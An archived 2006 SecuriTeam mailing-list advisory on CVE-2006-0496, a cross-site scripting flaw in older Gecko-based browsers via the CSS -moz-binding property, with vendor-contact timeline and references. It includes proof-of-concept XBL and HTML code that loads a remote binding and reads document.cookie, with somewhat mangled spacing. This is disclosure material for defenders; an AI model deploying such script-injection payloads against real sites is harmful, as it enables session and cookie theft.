

[NEWS] Gecko Based Browsers –moz–binding XSS

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-02/msg00014.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxxxx>
 - *Date:* 5 Feb 2006 14:06:21 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Gecko Based Browsers –moz–binding XSS

SUMMARY

" <<http://www.mozilla.org/projects/xbl/xbl.html>> XBL is a markup language for describing bindings that can be attached to elements in other documents." "The value of the <<http://www.mozilla.org/projects/xbl/xbl.html#attach-css>> –moz–binding property is a set of URLs that identify specific bindings. An individual URL in the set consists of the binding document's URL and the binding's document-unique identifier."

By crafting special XBL code, attackers can execute XSS using the –moz–binding option on Gecko based web browsers.

DETAILS

Vulnerable Systems:

- * Mozilla Firefox 1.5 and prior
- * Mozilla Firefox 1.0 and above
- * Netscape version 8.1 and prior
- * Mozilla Suite version 1.7.12 and prior
- * Mozilla Seamonkey 1.0

[NEWS] Gecko Based Browsers –moz–binding XSS

Gecko based browsers uses the CSS option –moz–binding in order to bind XBL code from additional locations including remote hosts.

Attackers can use the –moz–binding option in order to inject Javascript code and to perform a cross site scripting attack from remote location.

Proof of Concept:

Cookie reading:

```
<!--
```

```
this must be served with Content-type: text/xml or similar
```

```
-->
```

```
< bindings>
```

```
< binding id="exploit">
```

```
< implementation>
```

```
< constructor>
```

```
//
```

```
function exploitMe( element ) {
```

```
element.innerHTML = "Attempting to read cookie  
data...";
```

```
var data;
```

```
try {
```

```
data = document.cookie || "No cookie data.";
```

```
} catch( e ) {
```

```
data = "Unable to read cookie."
```

```
}
```

```
element.innerHTML = data;
```

```
element.style.color = "green";
```

```
}
```

```
exploitMe( this );
```

```
//
```

```
< / constructor>
```

```
< / implementation>
```

```
< / binding>
```

```
< / bindings>
```

Remote loading of script file:

```
< !DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
```

```
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"
```

```
< html xmlns="http://www.w3.org/1999/xhtml">
```

```
< head>
```

```
< meta http-equiv="Content-Type" content="text/html;
```

```
charset=utf-8" />
```

```
< title>Cookie Exploit< /title>
```

```
< / head>
```

```
< body>
```

```
< h1>Cookie Exploit using CSS< / h1>
```

```
< p style="color: red; –moz–binding:
```

[NEWS] Gecko Based Browsers –moz–binding XSS

url(https://bugzilla.mozilla.org/attachment.cgi?id=209238#exploit):
behavior: url(https://bugzilla.mozilla.org/attachment.cgi?id=209240):">
This is a paragraph with inline exploit CSS.
The CSS executes JavaScript that can read cookies.
</p>
</body>
</html>

CVE Information:

<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0496>
CVE-2006-0496

Disclosure Timeline:

- 1-Feb-2006 – Vulnerability researched and confirmed
- 2-Feb-2006 – Detailed research
- 2-Feb-2006 – Vendor contacted
- 2-Feb-2006 – Security companies and several CERT units contacted

ADDITIONAL INFORMATION

The information has been provided by <mailto:juha-matti.laurio@xxxxxxxx>
Juha-Matti Laurio.

The bug report can be found at:
<https://bugzilla.mozilla.org/show_bug.cgi?id=324253>
https://bugzilla.mozilla.org/show_bug.cgi?id=324253
A blog about the vulnerability can be found at:
<http://community.livejournal.com/lj_dev/708069.html>
http://community.livejournal.com/lj_dev/708069.html

=====
=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@xxxxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.